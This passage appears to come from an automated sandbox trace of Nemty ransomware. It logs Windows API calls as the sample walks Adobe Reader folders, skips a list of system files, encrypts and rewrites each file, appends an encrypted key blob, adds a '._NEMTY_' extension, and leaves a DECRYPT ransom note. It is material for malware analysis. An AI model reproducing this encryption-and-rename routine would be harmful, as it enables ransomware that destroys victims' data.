lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.424] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\Services.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\services\\services.asfx._nemty_kgobjgd_")) returned 1 [0174.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0174.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0174.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0174.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.425] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b976fd0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1b976fd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1b976fd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0174.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0174.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0174.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0174.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0174.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0174.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0174.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0174.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0174.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0174.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0174.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0174.426] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0174.426] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0174.426] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0174.426] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0174.426] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0174.426] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0174.426] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0174.426] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0174.428] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0174.428] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0174.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.428] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0174.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.428] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0174.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0174.428] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0174.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.428] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0174.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0174.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.429] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0174.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.429] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0174.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.429] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0174.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.429] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0174.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0174.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.429] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b976fd0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1b976fd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1b976fd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0174.429] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0174.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0174.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0174.429] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0106a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Spelling.CZE", cAlternateFileName="")) returned 1 [0174.429] lstrcmpiW (lpString1="Spelling.CZE", lpString2=".") returned 1 [0174.429] lstrcmpiW (lpString1="Spelling.CZE", lpString2="..") returned 1 [0174.429] lstrcmpiW (lpString1="Spelling.CZE", lpString2="...") returned 1 [0174.429] lstrcmpiW (lpString1="Spelling.CZE", lpString2="windows") returned -1 [0174.429] lstrcmpiW (lpString1="Spelling.CZE", lpString2="$RECYCLE.BIN") returned 1 [0174.429] lstrcmpiW (lpString1="Spelling.CZE", lpString2="rsa") returned 1 [0174.429] lstrcmpiW (lpString1="Spelling.CZE", lpString2="NTDETECT.COM") returned 1 [0174.429] lstrcmpiW (lpString1="Spelling.CZE", lpString2="ntldr") returned 1 [0174.429] lstrcmpiW (lpString1="Spelling.CZE", lpString2="MSDOS.SYS") returned 1 [0174.429] lstrcmpiW (lpString1="Spelling.CZE", lpString2="IO.SYS") returned 1 [0174.429] lstrcmpiW (lpString1="Spelling.CZE", lpString2="boot.ini") returned 1 [0174.430] lstrcmpiW (lpString1="Spelling.CZE", lpString2="boot.ini") returned 1 [0174.430] lstrcmpiW (lpString1="Spelling.CZE", lpString2="AUTOEXEC.BAT") returned 1 [0174.430] lstrcmpiW (lpString1="Spelling.CZE", lpString2="ntuser.dat") returned 1 [0174.430] lstrcmpiW (lpString1="Spelling.CZE", lpString2="desktop.ini") returned 1 [0174.430] lstrcmpiW (lpString1="Spelling.CZE", lpString2="CONFIG.SYS") returned 1 [0174.430] lstrcmpiW (lpString1="Spelling.CZE", lpString2="RECYCLER") returned 1 [0174.430] lstrcmpiW (lpString1="Spelling.CZE", lpString2="BOOTSECT.BAK") returned 1 [0174.430] lstrcmpiW (lpString1="Spelling.CZE", lpString2="bootmgr") returned 1 [0174.430] lstrcmpiW (lpString1="Spelling.CZE", lpString2="programdata") returned 1 [0174.430] lstrcmpiW (lpString1="Spelling.CZE", lpString2="appdata") returned 1 [0174.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.430] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CZE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.430] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CZE", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.CZE", lpUsedDefaultChar=0x0) returned 12 [0174.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.430] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CZE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.430] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CZE", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.CZE", lpUsedDefaultChar=0x0) returned 12 [0174.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.430] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CZE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.430] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CZE", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.CZE", lpUsedDefaultChar=0x0) returned 12 [0174.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.430] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CZE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.430] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CZE", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.CZE", lpUsedDefaultChar=0x0) returned 12 [0174.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0174.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0174.430] Sleep (dwMilliseconds=0x5) [0174.437] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b9e93f0, dwHighDateTime=0x1d561e8)) [0174.437] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b9e93f0, dwHighDateTime=0x1d561e8)) [0174.437] GetLastError () returned 0x12 [0174.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.437] GetLastError () returned 0x12 [0174.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.437] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.437] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.437] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0174.437] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="rnG1yUbMhnCM1ne6vwUSH4heB/0hUxEXu+PabWGrZTacQEbq0Tn33pghd/K49JTi\r\n0zJEsUw1nL/VpUZ5EmHROp0lU1OiN8HExgJ2vicl3X5e6TW7bYAjQ+oNQ1UWKxUi\r\ngjdqQngdxkytUrU84CNmj675zhlz6kcloktKy1GKT0Wrkqr1LNQrQ3ouerVOYcMw\r\nJ0J34HZq28fqhjeVdLOFvAWjFogogc3r86eocJBD6W+yV4LWHQGLsyJVbtpRnWh+\r\nqKbBwKnb4IVXVT8TIr/Zg2mCNI8AGPMSt1o4bj0KQBwW9qHKHBH0O3SqeXh73/vl\r\nOm9YkifxnnKSf17plGhxLg==\r\n", pcchString=0x653e5dc) returned 1 [0174.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0174.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.438] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Spelling.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\spelling.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.439] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10240) returned 1 [0174.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2800) returned 0x6352c48 [0174.439] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.439] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2800, lpOverlapped=0x0) returned 1 [0174.441] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.441] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2800, lpOverlapped=0x0) returned 1 [0174.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.441] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2800 [0174.441] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.442] CloseHandle (hObject=0x2e8) returned 1 [0174.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0174.442] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.442] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0174.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0174.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0174.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.442] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Spelling.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\spelling.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Spelling.CZE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\spelling.cze._nemty_kgobjgd_")) returned 1 [0174.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0174.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0174.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.443] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5309e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="updater.CZE", cAlternateFileName="")) returned 1 [0174.443] lstrcmpiW (lpString1="updater.CZE", lpString2=".") returned 1 [0174.443] lstrcmpiW (lpString1="updater.CZE", lpString2="..") returned 1 [0174.443] lstrcmpiW (lpString1="updater.CZE", lpString2="...") returned 1 [0174.443] lstrcmpiW (lpString1="updater.CZE", lpString2="windows") returned -1 [0174.443] lstrcmpiW (lpString1="updater.CZE", lpString2="$RECYCLE.BIN") returned 1 [0174.443] lstrcmpiW (lpString1="updater.CZE", lpString2="rsa") returned 1 [0174.443] lstrcmpiW (lpString1="updater.CZE", lpString2="NTDETECT.COM") returned 1 [0174.443] lstrcmpiW (lpString1="updater.CZE", lpString2="ntldr") returned 1 [0174.443] lstrcmpiW (lpString1="updater.CZE", lpString2="MSDOS.SYS") returned 1 [0174.443] lstrcmpiW (lpString1="updater.CZE", lpString2="IO.SYS") returned 1 [0174.443] lstrcmpiW (lpString1="updater.CZE", lpString2="boot.ini") returned 1 [0174.443] lstrcmpiW (lpString1="updater.CZE", lpString2="boot.ini") returned 1 [0174.443] lstrcmpiW (lpString1="updater.CZE", lpString2="AUTOEXEC.BAT") returned 1 [0174.443] lstrcmpiW (lpString1="updater.CZE", lpString2="ntuser.dat") returned 1 [0174.443] lstrcmpiW (lpString1="updater.CZE", lpString2="desktop.ini") returned 1 [0174.443] lstrcmpiW (lpString1="updater.CZE", lpString2="CONFIG.SYS") returned 1 [0174.443] lstrcmpiW (lpString1="updater.CZE", lpString2="RECYCLER") returned 1 [0174.443] lstrcmpiW (lpString1="updater.CZE", lpString2="BOOTSECT.BAK") returned 1 [0174.443] lstrcmpiW (lpString1="updater.CZE", lpString2="bootmgr") returned 1 [0174.443] lstrcmpiW (lpString1="updater.CZE", lpString2="programdata") returned 1 [0174.443] lstrcmpiW (lpString1="updater.CZE", lpString2="appdata") returned 1 [0174.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CZE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 